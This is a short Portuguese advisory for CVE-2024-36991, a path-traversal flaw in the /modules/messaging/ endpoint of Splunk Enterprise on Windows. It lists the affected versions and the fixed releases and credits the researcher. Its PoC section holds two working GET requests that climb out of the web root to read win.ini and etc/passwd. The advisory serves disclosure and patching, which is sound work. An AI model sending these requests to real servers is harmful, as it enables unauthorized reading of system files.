CVE-2024-36991

Travessia de Caminho No Endpoint “/Modules/Messaging/“ No Splunk Enterprise No Windows

Nas versões do Splunk Enterprise anteriores a 9.2.2, 9.1.5 e 9.0.10, um atacante poderia realizar uma travessia de caminho no endpoint /modules/messaging/ no Splunk Enterprise no Windows.

A vulnerabilidade existe porque a função os.path.join do Python remove a letra da unidade dos tokens de caminho se a unidade no token corresponder à unidade no caminho construído.

Esta vulnerabilidade deve afetar apenas o Splunk Enterprise no Windows.

POC

GET /en-US/modules/messaging/C:../C:../C:../C:../C:../C:../C:../C:../Windows/win.ini
GET /en-US/modules/messaging/C:../C:../C:../C:../C:../etc/passwd

Afetados

afetado de 9.2 até antes de 9.2.2

afetado de 9.1 até antes de 9.1.5

afetado de 9.0 até antes de 9.0.10

Solução

Atualize o Splunk Enterprise para as versões 9.2.2, 9.1.5 e 9.0.10, ou superiores.

Créditos

Danylo Dmytriiev (DDV_UA)

Referências